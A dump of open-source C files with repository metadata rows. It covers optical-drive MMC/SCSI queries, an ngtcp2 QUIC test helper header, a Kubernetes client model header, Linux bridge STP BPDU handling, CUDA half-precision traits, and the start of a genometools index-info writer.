free(bufp);
}
return (ret);
}
void
walk_profiles(int fd, int (*f)(void *, int, bool), void *arg)
{
size_t i;
uint16_t profile, current_profile;
u_char smallbuf[4];
size_t buflen;
u_char *bufp;
int ret;
/* first determine amount of memory needed to hold all profiles */
if (get_configuration(fd, 0, 4, &smallbuf[0])) {
buflen = GET32(smallbuf) + 4;
bufp = (u_char *)malloc(buflen);
/* now get all profiles */
if (get_configuration(fd, 0, buflen, bufp)) {
current_profile = GET16(&bufp[6]);
for (i = 8 + 4; i < buflen; i += 4) {
profile = GET16(&bufp[i]);
ret = f(arg, profile, (profile == current_profile));
if (ret == CDUTIL_WALK_STOP) {
break;
}
}
}
free(bufp);
}
}
/* retrieve speed list from the Write Speed Performance Descriptor Blocks
*/
static void
get_write_speeds(u_char *page, int n, intlist_t **speeds, int *n_speeds, intlist_t **speeds_mem)
{
u_char *p = page + 2;
int i;
intlist_t **nextp;
intlist_t *current;
bool skip;
*n_speeds = 0;
*speeds = NULL;
*speeds_mem = (intlist_t *)calloc(n, sizeof (intlist_t));
if (*speeds_mem == NULL) {
return;
}
for (i = 0; i < n; i++, p += 4) {
current = &(*speeds_mem)[i];
current->val = GET16(p);
/* keep the list sorted */
skip = false;
for (nextp = speeds; *nextp != NULL; nextp = &((*nextp)->next)) {
if (current->val == (*nextp)->val) {
skip = true; /* skip duplicates */
break;
} else if (current->val > (*nextp)->val) {
break;
}
}
if (!skip) {
current->next = *nextp;
*nextp = current;
*n_speeds++;
}
}
}
void
get_read_write_speeds(int fd, int *read_speed, int *write_speed,
intlist_t **speeds, int *n_speeds, intlist_t **speeds_mem)
{
int page_len;
u_char p[254];
int n; /* number of write speed performance descriptor blocks */
*read_speed = *write_speed = 0;
*speeds = *speeds_mem = NULL;
if (!get_mode_page(fd, 0x2A, 0, sizeof (p), p, &page_len)) {
return;
}
if (page_len > 8) {
*read_speed = GET16(&p[8]);
}
if (page_len > 18) {
*write_speed = GET16(&p[18]);
}
if (page_len < 28) {
printf("MMC-2\n");
return;
} else {
printf("MMC-3\n");
}
*write_speed = GET16(&p[28]);
if (page_len < 30) {
return;
}
/* retrieve speed list */
n = GET16(&p[30]);
n = min(n, (sizeof (p) - 32) / 4);
get_write_speeds(&p[32], n, speeds, n_speeds, speeds_mem);
if (*speeds != NULL) {
*write_speed = max(*write_speed, (*speeds)[0].val);
}
}
bool
get_disc_info(int fd, disc_info_t *di)
{
struct scsipi_read_discinfo discinfo;
uint8_t buf[32];
int bufsize = sizeof (buf);
bzero(buf, bufsize);
memset(&discinfo, 0, sizeof(discinfo));
discinfo.opcode = READ_DISCINFO;
discinfo.data_len[0] = (bufsize >> 8) & 0xff;
discinfo.data_len[1] = bufsize & 0xff;
if (scsi_command(fd, &discinfo, sizeof(discinfo), buf, bufsize, 10000, SCCMD_READ) == false)
return false;
di->disc_status = buf[2] & 0x03;
di->erasable = buf[2] & 0x10;
if ((buf[21] != 0) && (buf[21] != 0xff)) {
di->capacity = ((buf[21] * 60) + buf[22]) * 75;
} else {
di->capacity = 0;
}
return true;
}
/*
* returns current/maximum format capacity in bytes
*/
bool
read_format_capacity(int fd, uint64_t *capacity)
{
char cdb[12];
uint8_t buf[32];
int bufsize = sizeof (buf);
uint32_t num_blocks;
uint32_t block_len;
memset(buf, 0, bufsize);
memset(cdb, 0, sizeof(cdb));
cdb[0] = 0x23; /* READ FORMAT CAPACITIES */
cdb[7] = (bufsize >> 8) & 0xff; /* allocation length */
cdb[8] = bufsize & 0xff;
if (scsi_command(fd, &cdb, sizeof(cdb), buf, bufsize, 10000, SCCMD_READ) == false)
return false;
num_blocks = (uint32_t)(buf[4] << 24) + (buf[5] << 16) + (buf[6] << 8) + buf[7];
block_len = (uint32_t)(buf[9] << 16) + (buf[10] << 8) + buf[11];
*capacity = (uint64_t)num_blocks * block_len;
return (true);
}
bool
get_media_info(int fd, uint64_t *capacity)
{
struct disklabel d;
int ret;
ret = ioctl(fd, DIOCGDINFO, &d);
if (ret == -1)
return false;
*capacity = d.d_secsize * d.d_secperunit;
return true;
}
/*
* given current profile, use the best method for determining
* disc capacity (in bytes)
*/
bool
get_disc_capacity_for_profile(int fd, int profile, uint64_t *capacity)
{
disc_info_t di;
bool ret = false;
switch (profile) {
case 0x08: /* CD-ROM */
case 0x10: /* DVD-ROM */
if (get_media_info(fd, capacity))
ret = true;
break;
default:
if (read_format_capacity(fd, capacity) && (*capacity > 0)) {
ret = true;
} else if (get_disc_info(fd, &di) && (di.capacity > 0)) {
if (get_media_info(fd, capacity))
ret = true;
}
}
return (ret);
}
bool
read_toc(int fd, int format, int trackno, int buflen, u_char *buf)
{
struct scsipi_read_toc toc;
memset(buf, 0, buflen);
toc.opcode = READ_TOC;
toc.resp_format = format & 0xf;
toc.from_track = trackno;
toc.data_len[0] = (buflen >> 8) & 0xff;
toc.data_len[1] = buflen & 0xff;
return scsi_command(fd, &toc, sizeof(toc), buf, buflen, 10000, SCCMD_READ);
}
|
5084dc61a2e028bc810339787bf081bf22afdcc0
|
626aee78e69e1fad64a4f2fc3d62fd4f049be47f
|
/tests/ngtcp2_test_helper.h
|
d662b797995560b0a14fa0670053969cf3fe9f74
|
[
"MIT"
] |
permissive
|
ngtcp2/ngtcp2
|
b85c0972b26ca8da2711b700db826207d1d55c46
|
54bef1a5b0c975d9a50e1fd953e8d703b856c6d7
|
refs/heads/main
| 2023-08-31T03:21:03.773331
| 2023-08-30T09:27:56
| 2023-08-30T09:27:56
| 95,347,622
| 993
| 247
|
MIT
| 2023-09-12T09:53:46
| 2017-06-25T08:28:58
|
C
|
UTF-8
|
C
| false
| false
| 7,680
|
h
|
ngtcp2_test_helper.h
|
/*
* ngtcp2
*
* Copyright (c) 2017 ngtcp2 contributors
*
* Permission is hereby granted, free of charge, to any person obtaining
* a copy of this software and associated documentation files (the
* "Software"), to deal in the Software without restriction, including
* without limitation the rights to use, copy, modify, merge, publish,
* distribute, sublicense, and/or sell copies of the Software, and to
* permit persons to whom the Software is furnished to do so, subject to
* the following conditions:
*
* The above copyright notice and this permission notice shall be
* included in all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
* LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
* OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
* WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
#ifndef NGTCP2_TEST_HELPER_H
#define NGTCP2_TEST_HELPER_H
#ifdef HAVE_CONFIG_H
# include <config.h>
#endif /* HAVE_CONFIG_H */
#include <ngtcp2/ngtcp2.h>
#include "ngtcp2_conn.h"
/*
* strsize macro returns the length of string literal |S|.
*/
#define strsize(S) (sizeof(S) - 1)
/*
* NGTCP2_APP_ERRxx is an application error code solely used in test
* code.
*/
#define NGTCP2_APP_ERR01 0xff01u
#define NGTCP2_APP_ERR02 0xff02u
/*
* NGTCP2_FAKE_AEAD_OVERHEAD is AEAD overhead used in unit tests.
* Because we use the same encryption/decryption function for both
* handshake and post handshake packets, we have to use AEAD overhead
* used in handshake packets.
*/
#define NGTCP2_FAKE_AEAD_OVERHEAD NGTCP2_INITIAL_AEAD_OVERHEAD
/* NGTCP2_FAKE_HP_MASK is a header protection mask used in unit
tests. */
#define NGTCP2_FAKE_HP_MASK "\x00\x00\x00\x00\x00"
/*
* ngtcp2_t_encode_stream_frame encodes STREAM frame into |out| with
* the given parameters. If NGTCP2_STREAM_LEN_BIT is set in |flags|,
* |datalen| is encoded as Data Length, otherwise it is not written.
* To set FIN bit in wire format, set NGTCP2_STREAM_FIN_BIT in
* |flags|. This function expects that |out| has enough length to
* store entire STREAM frame, excluding the Stream Data.
*
* This function returns the number of bytes written to |out|.
*/
size_t ngtcp2_t_encode_stream_frame(uint8_t *out, uint8_t flags,
uint64_t stream_id, uint64_t offset,
uint16_t datalen);
/*
* ngtcp2_t_encode_ack_frame encodes ACK frame into |out| with the
* given parameters. Currently, this function encodes 1 ACK Block
* Section. ACK Delay field is always 0.
*
* This function returns the number of bytes written to |out|.
*/
size_t ngtcp2_t_encode_ack_frame(uint8_t *out, uint64_t largest_ack,
uint64_t first_ack_blklen, uint64_t gap,
uint64_t ack_blklen);
/*
* write_pkt_flags writes a QUIC packet containing frames pointed by
* |fr| of length |frlen| in |out| whose capacity is |outlen|. This
* function returns the number of bytes written.
*/
size_t write_pkt_flags(uint8_t *out, size_t outlen, uint8_t flags,
const ngtcp2_cid *dcid, int64_t pkt_num,
ngtcp2_frame *fr, size_t frlen, ngtcp2_crypto_km *ckm);
/*
* write_pkt is write_pkt_flags with flag = NGTCP2_PKT_FLAG_NONE.
*/
size_t write_pkt(uint8_t *out, size_t outlen, const ngtcp2_cid *dcid,
int64_t pkt_num, ngtcp2_frame *fr, size_t frlen,
ngtcp2_crypto_km *ckm);
/*
* write_initial_pkt_flags writes a QUIC Initial packet containing
* |frlen| frames pointed by |fr| into |out| whose capacity is
* |outlen|. This function returns the number of bytes written.
*/
size_t write_initial_pkt_flags(uint8_t *out, size_t outlen, uint8_t flags,
const ngtcp2_cid *dcid, const ngtcp2_cid *scid,
int64_t pkt_num, uint32_t version,
const uint8_t *token, size_t tokenlen,
ngtcp2_frame *fr, size_t frlen,
ngtcp2_crypto_km *ckm);
/*
* write_initial_pkt is write_initial_pkt_flags with flag =
* NGTCP2_PKT_FLAG_NONE.
*/
size_t write_initial_pkt(uint8_t *out, size_t outlen, const ngtcp2_cid *dcid,
const ngtcp2_cid *scid, int64_t pkt_num,
uint32_t version, const uint8_t *token,
size_t tokenlen, ngtcp2_frame *fr, size_t frlen,
ngtcp2_crypto_km *ckm);
/*
* write_handshake_pkt writes a QUIC Handshake packet containing
* |frlen| frames pointed by |fr| into |out| whose capacity is
* |outlen|. This function returns the number of bytes written.
*/
size_t write_handshake_pkt(uint8_t *out, size_t outlen, const ngtcp2_cid *dcid,
const ngtcp2_cid *scid, int64_t pkt_num,
uint32_t version, ngtcp2_frame *fr, size_t frlen,
ngtcp2_crypto_km *ckm);
/*
* write_0rtt_pkt writes a QUIC 0RTT packet containing |frlen| frames
* pointed by |fr| into |out| whose capacity is |outlen|. This
* function returns the number of bytes written.
*/
size_t write_0rtt_pkt(uint8_t *out, size_t outlen, const ngtcp2_cid *dcid,
const ngtcp2_cid *scid, int64_t pkt_num, uint32_t version,
ngtcp2_frame *fr, size_t frlen, ngtcp2_crypto_km *ckm);
/*
* open_stream opens new stream denoted by |stream_id|.
*/
ngtcp2_strm *open_stream(ngtcp2_conn *conn, int64_t stream_id);
/*
* rtb_entry_length returns the length of elements pointed by |ent|
* list.
*/
size_t rtb_entry_length(const ngtcp2_rtb_entry *ent);
void scid_init(ngtcp2_cid *cid);
void dcid_init(ngtcp2_cid *cid);
void rcid_init(ngtcp2_cid *cid);
/*
* read_pkt_payloadlen reads long header payload length field from
* |pkt|.
*/
uint64_t read_pkt_payloadlen(const uint8_t *pkt, const ngtcp2_cid *dcid,
const ngtcp2_cid *scid);
/*
* write_pkt_payloadlen writes long header payload length field into
* |pkt|.
*/
void write_pkt_payloadlen(uint8_t *pkt, const ngtcp2_cid *dcid,
const ngtcp2_cid *scid, uint64_t payloadlen);
/*
* pkt_decode_hd_long decodes long packet header from |pkt| of length
* |pktlen|. This function assumes that header protection has been
* decrypted.
*/
ngtcp2_ssize pkt_decode_hd_long(ngtcp2_pkt_hd *dest, const uint8_t *pkt,
size_t pktlen);
/*
* pkt_decode_hd_short decodes long packet header from |pkt| of length
* |pktlen|. This function assumes that header protection has been
* decrypted.
*/
ngtcp2_ssize pkt_decode_hd_short(ngtcp2_pkt_hd *dest, const uint8_t *pkt,
size_t pktlen, size_t dcidlen);
/*
* pkt_decode_hd_short_mask decodes long packet header from |pkt| of
* length |pktlen|. NGTCP2_FAKE_HP_MASK is used to decrypt header
* protection.
*/
ngtcp2_ssize pkt_decode_hd_short_mask(ngtcp2_pkt_hd *dest, const uint8_t *pkt,
size_t pktlen, size_t dcidlen);
/*
* path_init initializes |path| with the given arguments. They form
* IPv4 addresses.
*/
void path_init(ngtcp2_path_storage *path, uint32_t local_addr,
uint16_t local_port, uint32_t remote_addr, uint16_t remote_port);
#endif /* NGTCP2_TEST_HELPER_H */
|
8f391407c14306779859329af9196012c70981ad
|
e1d9c54e9925e30e388a255b53a93cccad0b94cb
|
/kubernetes/model/v1_node_selector_requirement.h
|
8545ce40b7681ee186f6716afdc2caf44091f703
|
[
"Apache-2.0",
"curl"
] |
permissive
|
kubernetes-client/c
|
dd4fd8095485c083e0f40f2b48159b1609a6141b
|
5ac5ff25e9809a92a48111b1f77574b6d040b711
|
refs/heads/master
| 2023-08-13T10:51:03.702497
| 2023-08-07T19:18:32
| 2023-08-07T19:18:32
| 247,958,425
| 127
| 47
|
Apache-2.0
| 2023-09-07T20:07:00
| 2020-03-17T11:59:05
|
C
|
UTF-8
|
C
| false
| false
| 1,174
|
h
|
v1_node_selector_requirement.h
|
/*
* v1_node_selector_requirement.h
*
* A node selector requirement is a selector that contains values, a key, and an operator that relates the key and values.
*/
#ifndef _v1_node_selector_requirement_H_
#define _v1_node_selector_requirement_H_
#include <string.h>
#include "../external/cJSON.h"
#include "../include/list.h"
#include "../include/keyValuePair.h"
#include "../include/binary.h"
typedef struct v1_node_selector_requirement_t v1_node_selector_requirement_t;
typedef struct v1_node_selector_requirement_t {
char *key; // string
char *_operator; // string
list_t *values; //primitive container
} v1_node_selector_requirement_t;
v1_node_selector_requirement_t *v1_node_selector_requirement_create(
char *key,
char *_operator,
list_t *values
);
void v1_node_selector_requirement_free(v1_node_selector_requirement_t *v1_node_selector_requirement);
v1_node_selector_requirement_t *v1_node_selector_requirement_parseFromJSON(cJSON *v1_node_selector_requirementJSON);
cJSON *v1_node_selector_requirement_convertToJSON(v1_node_selector_requirement_t *v1_node_selector_requirement);
#endif /* _v1_node_selector_requirement_H_ */
|
337a20df7af425bf6091072e896df1782b45e8ac
|
7eaf54a78c9e2117247cb2ab6d3a0c20719ba700
|
/SOFTWARE/A64-TERES/linux-a64/net/bridge/br_stp_bpdu.c
|
bdb459d21ad8e2d5191023c5b096de39b6a78c90
|
[
"LicenseRef-scancode-free-unknown",
"Apache-2.0",
"Linux-syscall-note",
"GPL-2.0-only",
"GPL-1.0-or-later"
] |
permissive
|
OLIMEX/DIY-LAPTOP
|
ae82f4ee79c641d9aee444db9a75f3f6709afa92
|
a3fafd1309135650bab27f5eafc0c32bc3ca74ee
|
refs/heads/rel3
| 2023-08-04T01:54:19.483792
| 2023-04-03T07:18:12
| 2023-04-03T07:18:12
| 80,094,055
| 507
| 92
|
Apache-2.0
| 2023-04-03T07:05:59
| 2017-01-26T07:25:50
|
C
|
UTF-8
|
C
| false
| false
| 5,798
|
c
|
br_stp_bpdu.c
|
/*
* Spanning tree protocol; BPDU handling
* Linux ethernet bridge
*
* Authors:
* Lennert Buytenhek <buytenh@gnu.org>
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version
* 2 of the License, or (at your option) any later version.
*/
#include <linux/kernel.h>
#include <linux/netfilter_bridge.h>
#include <linux/etherdevice.h>
#include <linux/llc.h>
#include <linux/slab.h>
#include <linux/pkt_sched.h>
#include <net/net_namespace.h>
#include <net/llc.h>
#include <net/llc_pdu.h>
#include <net/stp.h>
#include <asm/unaligned.h>
#include "br_private.h"
#include "br_private_stp.h"
#define STP_HZ 256
#define LLC_RESERVE sizeof(struct llc_pdu_un)
static void br_send_bpdu(struct net_bridge_port *p,
const unsigned char *data, int length)
{
struct sk_buff *skb;
skb = dev_alloc_skb(length+LLC_RESERVE);
if (!skb)
return;
skb->dev = p->dev;
skb->protocol = htons(ETH_P_802_2);
skb->priority = TC_PRIO_CONTROL;
skb_reserve(skb, LLC_RESERVE);
memcpy(__skb_put(skb, length), data, length);
llc_pdu_header_init(skb, LLC_PDU_TYPE_U, LLC_SAP_BSPAN,
LLC_SAP_BSPAN, LLC_PDU_CMD);
llc_pdu_init_as_ui_cmd(skb);
llc_mac_hdr_init(skb, p->dev->dev_addr, p->br->group_addr);
skb_reset_mac_header(skb);
NF_HOOK(NFPROTO_BRIDGE, NF_BR_LOCAL_OUT, skb, NULL, skb->dev,
dev_queue_xmit);
}
static inline void br_set_ticks(unsigned char *dest, int j)
{
unsigned long ticks = (STP_HZ * j)/ HZ;
put_unaligned_be16(ticks, dest);
}
static inline int br_get_ticks(const unsigned char *src)
{
unsigned long ticks = get_unaligned_be16(src);
return DIV_ROUND_UP(ticks * HZ, STP_HZ);
}
/* called under bridge lock */
void br_send_config_bpdu(struct net_bridge_port *p, struct br_config_bpdu *bpdu)
{
unsigned char buf[35];
if (p->br->stp_enabled != BR_KERNEL_STP)
return;
buf[0] = 0;
buf[1] = 0;
buf[2] = 0;
buf[3] = BPDU_TYPE_CONFIG;
buf[4] = (bpdu->topology_change ? 0x01 : 0) |
(bpdu->topology_change_ack ? 0x80 : 0);
buf[5] = bpdu->root.prio[0];
buf[6] = bpdu->root.prio[1];
buf[7] = bpdu->root.addr[0];
buf[8] = bpdu->root.addr[1];
buf[9] = bpdu->root.addr[2];
buf[10] = bpdu->root.addr[3];
buf[11] = bpdu->root.addr[4];
buf[12] = bpdu->root.addr[5];
buf[13] = (bpdu->root_path_cost >> 24) & 0xFF;
buf[14] = (bpdu->root_path_cost >> 16) & 0xFF;
buf[15] = (bpdu->root_path_cost >> 8) & 0xFF;
buf[16] = bpdu->root_path_cost & 0xFF;
buf[17] = bpdu->bridge_id.prio[0];
buf[18] = bpdu->bridge_id.prio[1];
buf[19] = bpdu->bridge_id.addr[0];
buf[20] = bpdu->bridge_id.addr[1];
buf[21] = bpdu->bridge_id.addr[2];
buf[22] = bpdu->bridge_id.addr[3];
buf[23] = bpdu->bridge_id.addr[4];
buf[24] = bpdu->bridge_id.addr[5];
buf[25] = (bpdu->port_id >> 8) & 0xFF;
buf[26] = bpdu->port_id & 0xFF;
br_set_ticks(buf+27, bpdu->message_age);
br_set_ticks(buf+29, bpdu->max_age);
br_set_ticks(buf+31, bpdu->hello_time);
br_set_ticks(buf+33, bpdu->forward_delay);
br_send_bpdu(p, buf, 35);
}
/* called under bridge lock */
void br_send_tcn_bpdu(struct net_bridge_port *p)
{
unsigned char buf[4];
if (p->br->stp_enabled != BR_KERNEL_STP)
return;
buf[0] = 0;
buf[1] = 0;
buf[2] = 0;
buf[3] = BPDU_TYPE_TCN;
br_send_bpdu(p, buf, 4);
}
/*
* Called from llc.
*
* NO locks, but rcu_read_lock
*/
void br_stp_rcv(const struct stp_proto *proto, struct sk_buff *skb,
struct net_device *dev)
{
const unsigned char *dest = eth_hdr(skb)->h_dest;
struct net_bridge_port *p;
struct net_bridge *br;
const unsigned char *buf;
if (!pskb_may_pull(skb, 4))
goto err;
/* compare of protocol id and version */
buf = skb->data;
if (buf[0] != 0 || buf[1] != 0 || buf[2] != 0)
goto err;
p = br_port_get_check_rcu(dev);
if (!p)
goto err;
br = p->br;
spin_lock(&br->lock);
if (br->stp_enabled != BR_KERNEL_STP)
goto out;
if (!(br->dev->flags & IFF_UP))
goto out;
if (p->state == BR_STATE_DISABLED)
goto out;
if (!ether_addr_equal(dest, br->group_addr))
goto out;
if (p->flags & BR_BPDU_GUARD) {
br_notice(br, "BPDU received on blocked port %u(%s)\n",
(unsigned int) p->port_no, p->dev->name);
br_stp_disable_port(p);
goto out;
}
buf = skb_pull(skb, 3);
if (buf[0] == BPDU_TYPE_CONFIG) {
struct br_config_bpdu bpdu;
if (!pskb_may_pull(skb, 32))
goto out;
buf = skb->data;
bpdu.topology_change = (buf[1] & 0x01) ? 1 : 0;
bpdu.topology_change_ack = (buf[1] & 0x80) ? 1 : 0;
bpdu.root.prio[0] = buf[2];
bpdu.root.prio[1] = buf[3];
bpdu.root.addr[0] = buf[4];
bpdu.root.addr[1] = buf[5];
bpdu.root.addr[2] = buf[6];
bpdu.root.addr[3] = buf[7];
bpdu.root.addr[4] = buf[8];
bpdu.root.addr[5] = buf[9];
bpdu.root_path_cost =
(buf[10] << 24) |
(buf[11] << 16) |
(buf[12] << 8) |
buf[13];
bpdu.bridge_id.prio[0] = buf[14];
bpdu.bridge_id.prio[1] = buf[15];
bpdu.bridge_id.addr[0] = buf[16];
bpdu.bridge_id.addr[1] = buf[17];
bpdu.bridge_id.addr[2] = buf[18];
bpdu.bridge_id.addr[3] = buf[19];
bpdu.bridge_id.addr[4] = buf[20];
bpdu.bridge_id.addr[5] = buf[21];
bpdu.port_id = (buf[22] << 8) | buf[23];
bpdu.message_age = br_get_ticks(buf+24);
bpdu.max_age = br_get_ticks(buf+26);
bpdu.hello_time = br_get_ticks(buf+28);
bpdu.forward_delay = br_get_ticks(buf+30);
if (bpdu.message_age > bpdu.max_age) {
if (net_ratelimit())
br_notice(p->br,
"port %u config from %pM"
" (message_age %ul > max_age %ul)\n",
p->port_no,
eth_hdr(skb)->h_source,
bpdu.message_age, bpdu.max_age);
goto out;
}
br_received_config_bpdu(p, &bpdu);
} else if (buf[0] == BPDU_TYPE_TCN) {
br_received_tcn_bpdu(p);
}
out:
spin_unlock(&br->lock);
err:
kfree_skb(skb);
}
|
c882546f9b7d51dfc0aa9c98b781cc33fd351f4d
|
d6aa13cb1021773d88e2ef780bc4450b38455644
|
/apex/contrib/csrc/group_norm/traits.h
|
2d8f0cecffc523d4735c1b000dc74ccda59e409a
|
[
"BSD-3-Clause"
] |
permissive
|
NVIDIA/apex
|
f54a9ced5d8b1c14f777e6bb53f11b3dc3ff2d6b
|
7995de18677295c5edeeab082179edbfdb6ee16a
|
refs/heads/master
| 2023-08-21T13:25:44.408616
| 2023-08-19T04:36:48
| 2023-08-19T04:36:48
| 130,725,814
| 7,932
| 1,381
|
BSD-3-Clause
| 2023-09-13T16:09:42
| 2018-04-23T16:28:52
|
Python
|
UTF-8
|
C
| false
| false
| 3,704
|
h
|
traits.h
|
/***************************************************************************************************
* Copyright (c) 2011-2023, NVIDIA CORPORATION. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without modification, are not permit-
* ted.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
* FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL NVIDIA CORPORATION BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,
* BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
* OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
* STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
**************************************************************************************************/
#pragma once
#include <math.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <cuda_runtime_api.h>
#include <cuda_fp16.h>
#include <cuda_bf16.h>
////////////////////////////////////////////////////////////////////////////////////////////////////
struct Fp32
{
// I/O type is float32_t
using IOType = float;
// Doubled I/O type
using IOType2 = float2;
// Unpack input to accumulators type
static inline __device__ float2 unpack(const float2& f2)
{
return f2;
}
// Pack the accumulators into outputs.
static inline __device__ float2 pack(const float2& f2)
{
return f2;
}
static inline __device__ float2 zero()
{
return {0.f, 0.f};
}
};
////////////////////////////////////////////////////////////////////////////////////////////////////
struct Fp16
{
// I/O type is __half
using IOType = __half;
// Doubled I/O type
using IOType2 = __half2;
// Unpack input to accumulators type
static inline __device__ float2 unpack(const __half2& h2)
{
// FIXME(nkorobov): __half22float2 makes compilation error in container
return {__half2float(h2.x),
__half2float(h2.y)};
}
// Pack the accumulators into outputs.
static inline __device__ __half2 pack(const float2& f2)
{
// FIXME(nkorobov): __float22half2_rn makes compilation error in container
return {__float2half_rn(f2.x), __float2half_rn(f2.y)};
}
static inline __device__ __half2 zero()
{
uint32_t zero = 0;
return *reinterpret_cast<__half2*>(&zero);
}
};
////////////////////////////////////////////////////////////////////////////////////////////////////
struct Bf16
{
// I/O type is __nv_bfloat16
using IOType = __nv_bfloat16;
// Doubled I/O type
using IOType2 = __nv_bfloat162;
// Unpack input to accumulators type
static inline __device__ float2 unpack(const __nv_bfloat162& h2)
{
// FIXME(nkorobov): __half22float2 makes compilation error in container
return {__bfloat162float(h2.x),
__bfloat162float(h2.y)};
}
// Pack the accumulators into outputs.
static inline __device__ __nv_bfloat162 pack(const float2& f2)
{
// FIXME(nkorobov): __float22bfloat162_rn makes compilation error in container
return {__float2bfloat16_rn(f2.x), __float2bfloat16_rn(f2.y)};
}
static inline __device__ __nv_bfloat162 zero()
{
uint32_t zero = 0;
return *reinterpret_cast<__nv_bfloat162*>(&zero);
}
};
////////////////////////////////////////////////////////////////////////////////////////////////////
|
143a35b7a349b15af0b529ff073ef8db39dec353
|
3bd385b466cb035fecd2b0c11ae054d42bf44fc2
|
/src/match/sfx-outprj.c
|
f3e95c3d2a01d0b066455f356b632c772e97989c
|
[
"LicenseRef-scancode-unknown-license-reference",
"ISC",
"BSD-2-Clause",
"LicenseRef-scancode-mit-old-style",
"Zlib",
"MIT",
"BSD-3-Clause",
"bzip2-1.0.6"
] |
permissive
|
genometools/genometools
|
c366dff04f6baa887f6b3be3ec55bce824b2bae1
|
df1df94b8c05a9c9bf848ffc6755c87b58573da5
|
refs/heads/master
| 2023-04-13T13:57:18.748796
| 2023-04-09T21:29:53
| 2023-04-09T21:29:53
| 11,177,980
| 237
| 63
|
NOASSERTION
| 2023-04-09T21:29:54
| 2013-07-04T13:39:38
|
C
|
UTF-8
|
C
| false
| false
| 4,235
|
c
|
sfx-outprj.c
|
/*
Copyright (c) 2007 Stefan Kurtz <kurtz@zbh.uni-hamburg.de>
Copyright (c) 2007 Center for Bioinformatics, University of Hamburg
Permission to use, copy, modify, and distribute this software for any
purpose with or without fee is hereby granted, provided that the above
copyright notice and this permission notice appear in all copies.
THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
#include <stdlib.h>
#include <stdio.h>
#include <stdbool.h>
#include <limits.h>
#include "core/endianess_api.h"
#include "core/fa_api.h"
#include "core/filelengthvalues.h"
#include "core/str_array.h"
#include "core/str_api.h"
#include "core/unused_api.h"
#include "core/defined-types.h"
#include "core/format64.h"
#include "core/readmode.h"
#include "core/encseq.h"
#include "esa-fileend.h"
#define PRJSPECIALOUT(VAL)\
fprintf(outprj,"%s="GT_WU"\n",#VAL,gt_encseq_##VAL(encseq))
static void showprjinfo(FILE *outprj,
GtReadmode readmode,
const GtEncseq *encseq,
GtUword numberofallsortedsuffixes,
unsigned int prefixlength,
GtUword numoflargelcpvalues,
double averagelcp,
GtUword maxbranchdepth,
const Definedunsignedlong *longest)
{
GtUword totallength;
GtUword numofsequences;
totallength = gt_encseq_total_length(encseq);
fprintf(outprj,"totallength="GT_WU"\n",totallength);
PRJSPECIALOUT(specialcharacters);
PRJSPECIALOUT(specialranges);
PRJSPECIALOUT(realspecialranges);
PRJSPECIALOUT(lengthofspecialprefix);
PRJSPECIALOUT(lengthofspecialsuffix);
PRJSPECIALOUT(wildcards);
PRJSPECIALOUT(wildcardranges);
PRJSPECIALOUT(realwildcardranges);
PRJSPECIALOUT(lengthofwildcardprefix);
PRJSPECIALOUT(lengthofwildcardsuffix);
numofsequences = gt_encseq_num_of_sequences(encseq);
fprintf(outprj,"numofsequences="GT_WU"\n",numofsequences);
fprintf(outprj,"numofdbsequences="GT_WU"\n",numofsequences);
fprintf(outprj,"numofquerysequences=0\n");
fprintf(outprj,"numberofallsortedsuffixes="GT_WU"\n",
numberofallsortedsuffixes);
if (longest->defined)
{
fprintf(outprj,"longest="GT_WU"\n",longest->valueunsignedlong);
}
fprintf(outprj,"prefixlength=%u\n",prefixlength);
fprintf(outprj,"largelcpvalues="GT_WU"\n",numoflargelcpvalues);
fprintf(outprj,"averagelcp=%.2f\n",averagelcp);
fprintf(outprj,"maxbranchdepth="GT_WU"\n",maxbranchdepth);
fprintf(outprj,"integersize=%u\n",
(unsigned int) (sizeof (GtUword) * CHAR_BIT));
fprintf(outprj,"littleendian=%c\n",gt_is_little_endian() ? '1' : '0');
fprintf(outprj,"readmode=%u\n",(unsigned int) readmode);
fprintf(outprj,"mirrored=%c\n", gt_encseq_is_mirrored(encseq) ? '1' : '0');
}
int gt_outprjfile(const char *indexname,
